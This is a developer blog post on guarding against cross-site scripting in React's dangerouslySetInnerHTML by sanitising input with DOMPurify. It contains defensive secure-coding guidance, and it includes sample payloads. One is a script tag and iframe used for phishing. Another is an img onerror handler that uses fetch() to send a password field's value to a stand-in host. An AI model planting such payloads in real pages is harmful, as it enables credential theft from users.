TheLazy.Dev
Portfolio GitHub

Blog

javascript |react |xxs |security

Mitigate XSS exploits when using React's `dangerously SetInnerHTML`

mothy

Tim Bryan

Posted on September 12, 2024

Mitigate XSS exploits when using React's `dangerously SetInnerHTML`

Cover image by Lautaro Andreani

...

TL: DR; Blinding dumping content into dangerously​SetInnerHTML is exactly that - dangerous. Make sure you are sanitising any input you pass to dangerously​SetInnerHTML unless you have explicit control of the input.

The following component serves as a simple example of mitigating the risk of an XSS attack via dangerously​SetInnerHTML:

//https://github.com/cure53/DOMPurify
import React from "react";
import DOMPurify from "dompurify";

const sanitize = (dirty) => DOMPurify.sanitize(dirty);

const DangerousHtml = ({ innerHTML, tag }) => {
  const clean = sanitize(innerHTML);

  if (typeof tag === "undefined") {
    return <div dangerouslySetInnerHTML={{ __html: clean }} />;
  }
  return <tag dangerouslySetInnerHTML={{ __html: clean }} />;
};

export default DangerousHtml;
Enter fullscreen mode Exit fullscreen mode

By using our bespoke DangerousHtml component, we can dramatically reduce the risk of an XSS exploit as we're sanitising our input before it gets to the actual dangerously​SetInnerHTML prop

DOMPurify is highly configurable too, so it might be the case that you want to have multiple components like our example to handle specific use cases or allow some of the below examples explicitly.

Below are some brief examples of how the exploits could take place:

Exploiting iFrame and Script Tags

XSS is possible as React will not strip out the script tag which points to a malicious payload.

We really shouldn't be passing iFrames in this way either. Rather, we should pass the URL and any other "safe" attributes as a props and render it ourselves in an iFrame tag to retain control of it's rendering ability's and source, or have a dedicated iFrame component.

For example, consider rhe following malicious markup that we've received from an API request. If we blindly set it via dangerously​SetInnerHTML, we'll give the user this output:

// Bad markup going in
<div
  dangerouslySetInnerHTML={{
    __html: `<p>
  Hi
  <script src="https://example.com/malicious-tracking"></script>
  Fiona, here is the link to enter your bank details:
  <iframe src="https://example.com/defo-not-the-actual-bank"></iframe>
</p>`,
  }}
/>
Enter fullscreen mode Exit fullscreen mode 
<!-- Bad markup rendered on the DOM -->
<div>
  <p>
    Hi
    <script src="https://example.com/malicious-tracking"></script>
    Fiona, here is the link to enter your bank details:
    <iframe src="https://example.com/defo-not-the-actual-bank"></iframe>
  </p>
</div>
Enter fullscreen mode Exit fullscreen mode

However, using our DangerousHTML component instead, means that we have mitigated most of the risk the user may have faced:

// Bad markup going in
<DangerousHtml
  innerHTML={`<p>
  Hi
  <script src="https://example.com/malicious-tracking"></script>
  Fiona, here is the link to enter your bank details:
  <iframe src="https://example.com/defo-not-the-actual-bank"></iframe>
</p>`}
/>
Enter fullscreen mode Exit fullscreen mode 
<!-- Clean markup rendered on the DOM -->
<div>
  <p>Hi Fiona, here is the link to enter your bank details:</p>
</div>
Enter fullscreen mode Exit fullscreen mode

Fiona may think that the website is broken or missing content for some reason - but this is still better than being phished for their bank details!

Attribute manipulation/poisoning

Some DOM elements have special attributes that we can abuse that we should protect ourselves against.

In this example, we can run some JS on an <image> tag's onerror.

For example, given the following:

// Bad markup going in
<div
  dangerouslySetInnerHTML={{
    __html: `
<p>
  Hola
  <img
    src='none.png'
    onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);'
  />
  Sharon
</p>`,
  }}
/>
Enter fullscreen mode Exit fullscreen mode 
<!-- Bad markup rendered on the DOM -->
<div>
  <p>
    Hola
    <img
      src="none.png"
      onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);'
    />
    Sharon
  </p>
</div>
Enter fullscreen mode Exit fullscreen mode

In this instance, our poisoned markup is stealing data from the DOM when the image request eventually fails and the user will never even know.

We can mitigate this again with our DangerousHtml component

// Bad markup going in
<DangerousHtml
  innerHTML={`
<p>
  Hola
  <img
    src='none.png'
    onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);'
  />
  Sharon
</p>`}
/>
Enter fullscreen mode Exit fullscreen mode 
<!-- Clean markup rendered on the DOM -->
<div>
  <p>
    Hola
    <img src="none.png" />
    Sharon
  </p>
</div>
Enter fullscreen mode Exit fullscreen mode

Given the argument that we may genuinely want to execute some JS to show a fallback image, we should again not be trusting raw, unsanitized HTML to do this for us and would be better served either having a fallbackImageURL or onError prop that we can explicitly add to our image tag like so:

// Usual imports
const MyImageComponent = ({ fallbackUrl, url }) => {
  // Usual component setup

  const displayFallbackImage = (evt) => {
    // If there is no fallback, do nothing
    if (!fallbackUrl) return;

    // set the url to the fallbackUrl
    evt.target.src = fallbackUrl;
  };

  return (
    <img
      src={url}
      onerror={displayFallbackImage}
      // ... any other props
    />
  );
};
Enter fullscreen mode Exit fullscreen mode

...

Original article: https://timbryan.dev/posts/react-xss-via-dangerouslySetInnerHtml

💖 💪 🙅 🚩
mothy
Tim Bryan

Posted on September 12, 2024

Join Our Newsletter. No Spam, Only the good stuff.

Sign up to receive the latest update from our blog.

Related

Mitigate XSS exploits when using React's `dangerously SetInnerHTML`
javascript Mitigate XSS exploits when using React's `dangerously SetInnerHTML`

September 12, 2024